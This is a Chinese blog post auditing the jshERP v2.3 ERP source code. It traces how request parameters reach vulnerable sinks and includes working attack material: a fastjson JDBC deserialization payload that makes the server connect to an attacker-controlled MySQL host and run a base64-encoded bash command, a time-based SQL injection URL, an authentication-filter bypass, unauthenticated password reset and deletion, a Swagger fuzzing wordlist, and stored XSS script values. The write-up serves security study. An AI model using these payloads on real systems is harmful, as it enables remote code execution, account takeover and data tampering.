代码审计 代码审计-jshERP v2.3 Sherlock 2025-05-27 2025-05-28 参考 深入学习Java代码审计技巧—详细剖析某erp漏洞-先知社区
环境搭建 https://github.com/jishenghua/jshERP/releases/tag/2.3
java版本为1.8
创建完数据库之后,在application.properties文件中修改相关的数据库数据
然后就可以启动了
下面为一位师傅的审计思路,个人觉得是非常的有道理
对于Java代码审计,主要的审计步骤如下:
确定项目技术框架、项目结构
环境搭建
配置文件的分析:如pom.xml、web.xml等,特别是pom.xml,可以从组件中寻找漏洞
Filter分析:Filter是重要的组成部分,提前分析有利于把握项目对请求的过滤,在后续漏洞利用时能够综合分析
路由分析:部分项目请求路径与对用的controller方法不对应,提前通过抓包调试分析,了解前端请求到后端方法的对应关系,便于在后续分析中更快定位代码
漏洞探测
探测之前可借用工具辅助分析,如codeql、fortify、Yakit、BP等
SQL注入分析、RCE分析可先从代码入手,通过关键API及特征关键字来进行逆向数据流分析,从sink到source,判断参数是否可控
XSS、文件上传等漏洞适合正向数据流分析,由于存储型XSS数据流断裂,从代码层面不好将两条数据流联系起来,可以通过前端界面的测试,找到插入口和显示处性质一样的点,在通过后端代码分析,构造出可利用的payload
逻辑漏洞这类也是从前端入手比较好处理,后端代码庞大难以定位
配置文件审计 首先我们先看一眼pom.xml,看看有没有什么漏洞
fastjson版本为1.2.55,存在漏洞
于是乎,我们全局搜索一下parseObject
方法
猜测search可能可控,进入分析
查看getInfo函数的调用处,比较多,一个一个筛选,这里选择UserComponent.java中的getUserList方法进行分析
1 2 3 4 5 6 7 8 9 private List<?> getUserList(Map<String, String> map)throws Exception { String search = map.get(Constants.SEARCH); String userName = StringUtil.getInfo(search, "userName" ); String loginName = StringUtil.getInfo(search, "loginName" ); String order = QueryUtils.order(map); String filter = QueryUtils.filter(map); return userService.select(userName, loginName, QueryUtils.offset(map), QueryUtils.rows(map)); }
逐层向上调用分析,可以得知在ResourceController.java中调用select,即search参数可控
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 @GetMapping(value = "/{apiName}/list") public String getList (@PathVariable("apiName") String apiName, @RequestParam(value = Constants.PAGE_SIZE, required = false) Integer pageSize, @RequestParam(value = Constants.CURRENT_PAGE, required = false) Integer currentPage, @RequestParam(value = Constants.SEARCH, required = false) String search, HttpServletRequest request) throws Exception { Map<String, String> parameterMap = ParamUtils.requestToMap(request); parameterMap.put(Constants.SEARCH, search); PageQueryInfo queryInfo = new PageQueryInfo (); Map<String, Object> objectMap = new HashMap <String, Object>(); if (pageSize != null && pageSize <= 0 ) { pageSize = 10 ; } String offset = ParamUtils.getPageOffset(currentPage, pageSize); if (StringUtil.isNotEmpty(offset)) { parameterMap.put(Constants.OFFSET, offset); } List<?> list = configResourceManager.select(apiName, parameterMap); objectMap.put("page" , queryInfo); if (list == null ) { queryInfo.setRows(new ArrayList <Object>()); queryInfo.setTotal(BusinessConstants.DEFAULT_LIST_NULL_NUMBER); return returnJson(objectMap, "查找不到数据" , ErpInfo.OK.code); } queryInfo.setRows(list); queryInfo.setTotal(configResourceManager.counts(apiName, parameterMap)); return returnJson(objectMap, ErpInfo.OK.name, ErpInfo.OK.code); }
根据路由分析,这里的apiName为user,这样能够寻找到UserComponent里的select方法(下面讲sql注入漏洞的时候会解释为什么是user)
于是我们到该路由下面进行测试
然后去bp的专门板块里面进行查看便可以看到dns请求了,证明漏洞存在
接下来可以进行LDAP注入,但是需要确定AutoType是否开启
可以通过以下代码开启
1 ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
但是在实际测试的过程中,没有开启可以通过mysql服务来打
payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 { "@type": "java.lang.AutoCloseable", "@type": "com.mysql.jdbc.JDBC4Connection", "hostToConnectTo": "vpsip", "portToConnectTo": 3306, "info": { "user": "yso_CommonsCollections6_bash -c {echo,xxxxx}|{base64,-d}|{bash,-i}", "password": "pass", "statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor", "autoDeserialize": "true", "NUM_HOSTS": "1" }, "databaseToConnectTo": "dbname", "url": "" }
参考:蓝帽杯2022决赛 - 赌怪 writeup - KingBridge - 博客园 (cnblogs.com)
这里就不继续测试,大致原理是这样,如果不懂fastjson,请参考:Fastjson姿势技巧集合
依赖log4j
1 2 3 4 5 6 <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-to-slf4j</artifactId> <version>2.10.0</version> <scope>compile</scope> </dependency>
无相关漏洞,可以通过官方文档或者maven仓库中查看:Maven Repository: org.apache.logging.log4j » log4j-to-slf4j (mvnrepository.com)
从配置文件中还得知了用了mybatis框架和swagger
SQL注入
重点关注创建查询的函数如 createQuery()
、createSQLQuery()
、createNativeQuery()
。
定位SQL语句上下文,查看是否有参数直接拼接,是否有对模糊查询关键字的过滤。
是否使用预编译技术,预编译是否完整,关键函数定位setObject()
、setInt()
、setString()
、setSQLXML()
关联上下文搜索set*
开头的函数。
Mybatis中搜索${},因为对于like模糊查询、order by排序、范围查询in、动态表名/列名,没法使用预编译,只能拼接,所以还是需要手工防注入,此时可查看相关逻辑是否正确。
JPA搜索JpaSort.unsafe()
,查看是否用实体之外的字段对查询结果排序,进行了SQL的拼接。以及查看EntityManager
的使用,也可能存在拼接SQL的情况。
由于用的是mybatis框架,所以全局搜索关键词${
,然后挑一个进行查看,这里我选的是UserMapperEx.xml下面的
一看like,可能存在SQL注入,优先考虑时间盲注
为了更方便地追踪sql语句地走向,我自己在idea中下了一个插件:Free MyBatis Tool
向上查找,走到了对应地mapper文件:UserMapperEx.java
继续往上找,走到了UserService.java文件
查找select方法的用法,走到了UserComponent.java
继续查找getUserList方法的用法,走到了本类中的select方法
继续找select方法,走到了CommonQueryManager.java
这里为什么可以调用到这里呢?
UserComponent实现了ICommonQuery接口,所以刚刚其实是调用了ICommonQuery接口的select方法,我们看刚才CommonQueryManager的select方法,通过apiName调用的container的getCommonQuery
跟进一下该方法
返回的是一个ICommonQuery类型的值
这里的先调用初始化init方法,遍历service下的组件(每个文件夹下的component类)压入configComponentMap中
后续调用getCommonQuery方法根据传进来的apiName获取对应的service组件(具体apiName跟对应的service组件映射如下:user->UserComponent)
即service下每个文件夹对应一个apiName,所以这里要调用UserComponent的select方法的话需要apiName为user
解释完后我们继续往上走,走到了ResourceController.java
看到了该方法,我们也就明白了我们所需要的路由是/user/list
了,我们知道在该过程中没有对传进来的参数进行任何的检测,所以可以进行sql注入,这里我们用的是时间注入,如下所示:
payload:/user/list?search=%7b%22userName%22%3a%22%22%2c%22loginName%22%3a%22jsh'%20and%20sleep(3)--%2b%22%7d¤tPage=1&pageSize=10
虽然payload中就sleep3秒,但是实际测试的时候其实不止
再来一个布尔盲注的点,可参考文章:深入学习Java代码审计技巧—详细剖析某erp漏洞-先知社区 中的sql注入片段
还有很多个点可以自己去尝试
未授权 任意访问 关于鉴权方面的,我们就是要重点看filter目录下面的文件了,在这里也就是LogCostFilter.java
根据对init方法的分析可知,ignoredUrls为[.css,.js,.jpg,.png,.gif,.ico],allowUrls为[/user/login,/user/registerUser,/v2/api-docs]
先看verify方法
1 2 3 4 5 6 7 8 9 10 11 12 13 private static String regexPrefix = "^.*" ;private static String regexSuffix = ".*$" ;private static boolean verify (List<String> ignoredList, String url) { for (String regex : ignoredList) { Pattern pattern = Pattern.compile(regexPrefix + regex + regexSuffix); Matcher matcher = pattern.matcher(url); if (matcher.matches()) { return true ; } } return false ; }
将ignoredUrls中的逐个元素拼接成正则表达式后与当前url进行匹配,匹配成功即返回true,例如第一个元素形成的正则表达式为^.*.css.*$
,即只要包含ignoredUrls中的任意一个元素即可在不登录的情况下访问
在白名单过滤中,只要请求url中以/user/login、/user/registerUser、/v2/api-docs开头即不需要登陆即可访问
然后再看doFilter方法
几个if判断中分别是只要请求url中包含所写的路由,或者是通过verify方法判断,或者是只要以要求的路径开头就可以
这么一看,就是非常的好绕过验证,可以进行路径穿越了
下面给出一个例子
任意重置用户密码 在前面进行黑盒测试的过程中,在登录管理员账号的时候发现可以重置任意一个人的密码为初始密码123456,除了管理员本身,并且传参的时候只有一个id
好嘛,来活了,这不就可以尝试未授权任意重置了嘛。id值在现实情况下可以直接库库爆破梭哈了
成功,关于该具体的代码流程可以自己去跟一下,这里就不写了
sql语句如下:
任意添加用户失败 想要故技重施的时候却失败了,查看一下具体的代码发现insert的sql语句进行了预编译处理,并且还需要tenantId
也就是说这里增加的时候,对于账号需要JsesssionID,不然插入的时候找不到tenant_id导致最后不知道插入到哪里去
任意删除用户 一样的道理
sql查询语句:
1 2 3 4 5 6 7 8 9 <update id ="batDeleteOrUpdateUser" > update jsh_user set status=#{status} where id in ( <foreach collection ="ids" item ="id" separator ="," > #{id} </foreach > ) </update
删除成功后数据库数据如下:
相关的sql语句
1 UPDATE jsh_user SET status = 1 WHERE id IN ('132')
另外,在不使用未授权漏洞进行删除时,sql语句中存在对tenant_id字段的判断,如下sql语句
1 UPDATE jsh_user SET status = 1 WHERE jsh_user.tenant_id = 63 AND id IN ('132')
任意删除任意客户 依旧是一样的道理
后面的deleteType字段是当提示是否强制删除的时候需要用到的,自己也不详讲,自己测一下就知道了
Swagger泄露 Swagger是一个规范和完整的框架,用于生成、描述、调用和可视化 RESTful 风格的 Web 服务。总体目标是使客户端和文件系统作为服务器以同样的速度来更新。
spring项目中的配置参考:解决 Swagger API 未授权访问漏洞:完善分析与解决方案-阿里云开发者社区 (aliyun.com)
相关路径,在实际测试工程中可用以下字典fuzz
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 /api /api-docs /api-docs/swagger.json /api.html /api/api-docs /api/apidocs /api/doc /api/swagger /api/swagger-ui /api/swagger-ui.html /api/swagger-ui.html/ /api/swagger-ui.json /api/swagger.json /api/swagger/ /api/swagger/ui /api/swagger/ui/ /api/swaggerui /api/swaggerui/ /api/v1/ /api/v1/api-docs /api/v1/apidocs /api/v1/swagger /api/v1/swagger-ui /api/v1/swagger-ui.html /api/v1/swagger-ui.json /api/v1/swagger.json /api/v1/swagger/ /api/v2 /api/v2/api-docs /api/v2/apidocs /api/v2/swagger /api/v2/swagger-ui /api/v2/swagger-ui.html /api/v2/swagger-ui.json /api/v2/swagger.json /api/v2/swagger/ /api/v3 /apidocs /apidocs/swagger.json /doc.html /docs/ /druid/index.html /graphql /libs/swaggerui /libs/swaggerui/ /spring-security-oauth-resource/swagger-ui.html /spring-security-rest/api/swagger-ui.html /sw/swagger-ui.html /swagger /swagger-resources /swagger-resources/configuration/security /swagger-resources/configuration/security/ /swagger-resources/configuration/ui /swagger-resources/configuration/ui/ /swagger-ui /swagger-ui.html /swagger-ui.html#/api-memory-controller /swagger-ui.html/ /swagger-ui.json /swagger-ui/swagger.json /swagger.json /swagger.yml /swagger/ /swagger/index.html /swagger/static/index.html /swagger/swagger-ui.html /swagger/ui/ /Swagger/ui/index /swagger/ui/index /swagger/v1/swagger.json /swagger/v2/swagger.json /template/swagger-ui.html /user/swagger-ui.html /user/swagger-ui.html/ /v1.x/swagger-ui.html /v1/api-docs /v1/swagger.json /v2/api-docs /v3/api-docs
现在看一手关于它的配置文件Swagger2Config.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 @Configuration @EnableSwagger2 public class Swagger2Config { @Bean public Docket createRestApi () { return new Docket (DocumentationType.SWAGGER_2) .apiInfo(this .apiInfo()) .select() .apis(RequestHandlerSelectors.any()) .paths(PathSelectors.any()) .build(); } private ApiInfo apiInfo () { return new ApiInfoBuilder () .title("Mybatis-Plus Plugin Example RESTful APIs" ) .description("集成Mybatis-Plus模块接口描述" ) .termsOfServiceUrl("http://127.0.0.1" ) .contact(new Contact ("jishenghua" , "" , "" )) .version("2.1.1" ) .build(); } }
在该类及配置文件中未进行任何的限制及访问控制和身份验证,另外在filter中也未进行身份判断,因此导致在未登录的情况下能够请求得到api接口
修复
限制生成文档的请求处理程序:使用适当的 RequestHandlerSelectors
来选择只包含需要公开的接口,而不是使用 RequestHandlerSelectors.any()
。
限制生成文档的路径:使用适当的 PathSelectors
来选择只包含需要公开的路径,而不是使用 PathSelectors.any()
。
添加访问控制和身份验证:确保只有授权用户能够访问 Swagger API 文档。这可以通过配置身份验证和授权机制来实现,例如基于角色或令牌的访问控制。
定期审查和更新配置:定期审查 Swagger API 文档的配置,确保其与应用程序的安全需求保持一致,并经常更新以反映最新的安全要求。
账号密码泄露 还是filter那边没有写好导致可以任意访问
XSS 关键字:
1 2 3 4 5 6 7 8 9 10 <%= ${ <c:out <c:if <c:forEach ModelAndView ModelMap Model request.getParameter request.setAttribute
在jsp文件中,使用<c:out>
标签是直接对代码进行输出而不当成js代码执行
在使用thymeleaf 模板进行渲染时,模板自带有字符转义的功能
th:text 进行文本替换 不会解析html
th:utext 进行文本替换 会解析html
以下例子中没有使用渲染模板,最好从前端界面入手,寻找可能的插入点,然后对后端代码进行分析
存储型XSS一般分为两个部分:
将攻击向量通过某个接口存入
将数据库中的攻击向量通过某个接口显示在页面中
存入点分析 :
根据/supplier/update找到对应的Controller,在ResourceController.java中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 @PostMapping(value = "/{apiName}/update", produces = {"application/javascript", "application/json"}) public String updateResource (@PathVariable("apiName") String apiName, @RequestParam("info") String beanJson, @RequestParam("id") Long id, HttpServletRequest request) throws Exception { Map<String, Object> objectMap = new HashMap <String, Object>(); int update = configResourceManager.update(apiName, beanJson, id, request); if (update > 0 ) { return returnJson(objectMap, ErpInfo.OK.name, ErpInfo.OK.code); } else if (update == -1 ) { return returnJson(objectMap, ErpInfo.TEST_USER.name, ErpInfo.TEST_USER.code); } else { return returnJson(objectMap, ErpInfo.ERROR.name, ErpInfo.ERROR.code); } }
找到对应的处理方法
1 2 3 4 5 6 7 @Transactional(value = "transactionManager", rollbackFor = Exception.class) public int update (String apiName, String beanJson, Long id, HttpServletRequest request) throws Exception { if (StringUtil.isNotEmpty(apiName)) { return container.getCommonQuery(apiName).update(beanJson, id, request); } return 0 ; }
还是一样,找到SupplierComponent.java类中的update方法
1 2 3 4 @Override public int update (String beanJson, Long id, HttpServletRequest request) throws Exception { return supplierService.updateSupplier(beanJson, id, request); }
来到SupplierService.java层
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 @Transactional(value = "transactionManager", rollbackFor = Exception.class) public int updateSupplier (String beanJson, Long id, HttpServletRequest request) throws Exception { Supplier supplier = JSONObject.parseObject(beanJson, Supplier.class); if (supplier.getBeginNeedPay() == null ) { supplier.setBeginNeedPay(BigDecimal.ZERO); } if (supplier.getBeginNeedGet() == null ) { supplier.setBeginNeedGet(BigDecimal.ZERO); } supplier.setId(id); int result=0 ; try { result=supplierMapper.updateByPrimaryKeySelective(supplier); logService.insertLog("商家" , new StringBuffer (BusinessConstants.LOG_OPERATION_TYPE_EDIT).append(supplier.getSupplier()).toString(), request); }catch (Exception e){ JshException.writeFail(logger, e); } return result; }
成功找到对应的Mapper,即SupplierMapper,并且操作id为updateByPrimaryKeySelective,在相应的xml文件中找到更新的sql语句
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 <update id ="updateByPrimaryKeySelective" parameterType ="com.jsh.erp.datasource.entities.Supplier" > update jsh_supplier <set > <if test ="supplier != null" > supplier = #{supplier,jdbcType=VARCHAR}, </if > <if test ="contacts != null" > contacts = #{contacts,jdbcType=VARCHAR}, </if > <if test ="phoneNum != null" > phone_num = #{phoneNum,jdbcType=VARCHAR}, </if > <if test ="email != null" > email = #{email,jdbcType=VARCHAR}, </if > <if test ="description != null" > description = #{description,jdbcType=VARCHAR}, </if > <if test ="isystem != null" > isystem = #{isystem,jdbcType=TINYINT}, </if > <if test ="type != null" > type = #{type,jdbcType=VARCHAR}, </if > <if test ="enabled != null" > enabled = #{enabled,jdbcType=BIT}, </if > <if test ="advanceIn != null" > advance_in = #{advanceIn,jdbcType=DECIMAL}, </if > <if test ="beginNeedGet != null" > begin_need_get = #{beginNeedGet,jdbcType=DECIMAL}, </if > <if test ="beginNeedPay != null" > begin_need_pay = #{beginNeedPay,jdbcType=DECIMAL}, </if > <if test ="allNeedGet != null" > all_need_get = #{allNeedGet,jdbcType=DECIMAL}, </if > <if test ="allNeedPay != null" > all_need_pay = #{allNeedPay,jdbcType=DECIMAL}, </if > <if test ="fax != null" > fax = #{fax,jdbcType=VARCHAR}, </if > <if test ="telephone != null" > telephone = #{telephone,jdbcType=VARCHAR}, </if > <if test ="address != null" > address = #{address,jdbcType=VARCHAR}, </if > <if test ="taxNum != null" > tax_num = #{taxNum,jdbcType=VARCHAR}, </if > <if test ="bankName != null" > bank_name = #{bankName,jdbcType=VARCHAR}, </if > <if test ="accountNumber != null" > account_number = #{accountNumber,jdbcType=VARCHAR}, </if > <if test ="taxRate != null" > tax_rate = #{taxRate,jdbcType=DECIMAL}, </if > <if test ="tenantId != null" > tenant_id = #{tenantId,jdbcType=BIGINT}, </if > <if test ="deleteFlag != null" > delete_flag = #{deleteFlag,jdbcType=VARCHAR}, </if > </set > where id = #{id,jdbcType=BIGINT} </update >
这整条数据流就是将攻击向量存入数据库的过程,中间的方法为进行任何的过滤,filter层也没有对输入进行过滤。
现在需要触发xss,只需要将相关参数显示在界面中即可。
读取点分析 :
读取supplier还有另一个api,根据前端观察可以知道为/supplier/list
同样在
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 @GetMapping(value = "/{apiName}/list") public String getList (@PathVariable("apiName") String apiName, @RequestParam(value = Constants.PAGE_SIZE, required = false) Integer pageSize, @RequestParam(value = Constants.CURRENT_PAGE, required = false) Integer currentPage, @RequestParam(value = Constants.SEARCH, required = false) String search, HttpServletRequest request) throws Exception { Map<String, String> parameterMap = ParamUtils.requestToMap(request); parameterMap.put(Constants.SEARCH, search); PageQueryInfo queryInfo = new PageQueryInfo (); Map<String, Object> objectMap = new HashMap <String, Object>(); if (pageSize != null && pageSize <= 0 ) { pageSize = 10 ; } String offset = ParamUtils.getPageOffset(currentPage, pageSize); if (StringUtil.isNotEmpty(offset)) { parameterMap.put(Constants.OFFSET, offset); } List<?> list = configResourceManager.select(apiName, parameterMap); objectMap.put("page" , queryInfo); if (list == null ) { queryInfo.setRows(new ArrayList <Object>()); queryInfo.setTotal(BusinessConstants.DEFAULT_LIST_NULL_NUMBER); return returnJson(objectMap, "查找不到数据" , ErpInfo.OK.code); } queryInfo.setRows(list); queryInfo.setTotal(configResourceManager.counts(apiName, parameterMap)); return returnJson(objectMap, ErpInfo.OK.name, ErpInfo.OK.code); }
和上述分析过程一致,得到查询语句
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <select id ="selectByConditionSupplier" parameterType ="com.jsh.erp.datasource.entities.SupplierExample" resultMap ="com.jsh.erp.datasource.mappers.SupplierMapper.BaseResultMap" > select * FROM jsh_supplier where 1=1 <if test ="supplier != null" > and supplier like '%${supplier}%' </if > <if test ="type != null" > and type='${type}' </if > <if test ="phonenum != null" > and phone_num like '%${phonenum}%' </if > <if test ="telephone != null" > and telephone like '%${telephone}%' </if > <if test ="description != null" > and description like '%${description}%' </if > and ifnull(delete_flag,'0') !='1' order by id desc <if test ="offset != null and rows != null" > limit #{offset},#{rows} </if > </select >
这将数据库中的全部字段结果返回,最后封装在json的page参数中
现在需要寻找将这些结果渲染到前端页面的html文件,使用ajax必定会对响应的路由发起请求,搜索/supplier/list
在supplier.js文件中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 function showSupplierDetails (pageNo,pageSize ) { var supplier = $.trim ($("#searchSupplier" ).val ()); var phonenum = $.trim ($("#searchPhonenum" ).val ()); var telephone = $.trim ($("#searchTelephone" ).val ()); var description = $.trim ($("#searchDesc" ).val ()); $.ajax ({ type :"get" , url : "/supplier/list" , dataType : "json" , data : ({ search : JSON .stringify ({ supplier : supplier, type : listType, phonenum : phonenum, telephone : telephone, description : description }), currentPage : pageNo, pageSize : pageSize }), success : function (res ) { if (res && res.code === 200 ){ if (res.data && res.data .page ) { $("#tableData" ).datagrid ('loadData' , res.data .page ); } } }, error :function ( ) { $.messager.alert ('查询提示' ,'查询数据后台异常,请稍后再试!' ,'error' ); return ; } }); }
这里对相应的url发起请求,并将其渲染至id为tableData的标签中
寻找调用showSupplierDetails方法的地方,与之匹配的是同文件的initTableData方法,在该方法中,只显示了如下参数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 columns :[[ { field : 'id' ,width :35 ,align :"center" ,checkbox :true }, { title : '操作' ,field : 'op' ,align :"center" ,width :60 , formatter :function (value,rec,index ) { var str = '' ; str += '<img title="编辑" src="/js/easyui/themes/icons/pencil.png" style="cursor: pointer;" onclick="editSupplier(\'' + index + '\');"/> ' ; if (isShowOpFun ()) { str += '<img title="删除" src="/js/easyui/themes/icons/edit_remove.png" style="cursor: pointer;" onclick="deleteSupplier(\'' + rec.id + '\');"/>' ; } return str; } }, { title : '名称' ,field : 'supplier' ,width :150 }, { title : '联系人' , field : 'contacts' ,width :50 ,align :"center" }, { title : '手机号码' , field : 'telephone' ,width :100 ,align :"center" }, { title : '电子邮箱' ,field : 'email' ,width :80 ,align :"center" }, { title : '联系电话' , field : 'phoneNum' ,width :100 ,align :"center" }, { title : '传真' , field : 'fax' ,width :100 ,align :"center" }, { title : '预付款' ,field : 'advanceIn' ,width :70 ,align :"center" }, { title : '期初应收' ,field : 'beginNeedGet' ,width :70 ,align :"center" }, { title : '期初应付' ,field : 'beginNeedPay' ,width :70 ,align :"center" }, { title : '期末应收' ,field : 'allNeedGet' ,width :70 ,align :"center" }, { title : '期末应付' ,field : 'allNeedPay' ,width :70 ,align :"center" }, { title : '税率(%)' , field : 'taxRate' ,width :60 ,align :"center" }, { title : '状态' ,field : 'enabled' ,width :70 ,align :"center" ,formatter :function (value ){ return value? "<span style='color:green'>启用</span>" :"<span style='color:red'>禁用</span>" ; }} ]]
因此,在插入攻击向量时,需要在显示的参数中进行选择,当然还需要考虑前端的js过滤。
调用initTableData方法的地方,在supplier.js中
1 2 3 4 5 6 7 8 9 10 $(function ( ) { var listTitle = "" ; var listType = "" ; var listTypeEn = "" ; getType (); initTableData (); ininPager (); bindEvent (); });
这个在引入js时即会调用,全局搜索引入supplier.js的地方
在customer.html文件中找到了id为tableData的table
1 <table id="tableData" style="top:300px;border-bottom-color:#FFFFFF"></table>
整个流程到这里结束
测试
触发界面
抓包
后台执行的SQL语句
1 UPDATE jsh_supplier SET supplier = '客户1', contacts = '小李', phone_num = '12345678', email = '', description = '<script>alert(\'desc\')</script>', type = '客户', enabled = 1, begin_need_get = '0', begin_need_pay = '0', all_need_get = '80', fax = '', telephone = '', address = '<script>alert(\'address\')</script>', tax_num = '', bank_name = '', account_number = '', tax_rate = '12' WHERE jsh_supplier.tenant_id = 63 AND id = 58
刷新界面触发XSS弹窗
还有很多其他点就不一一列举了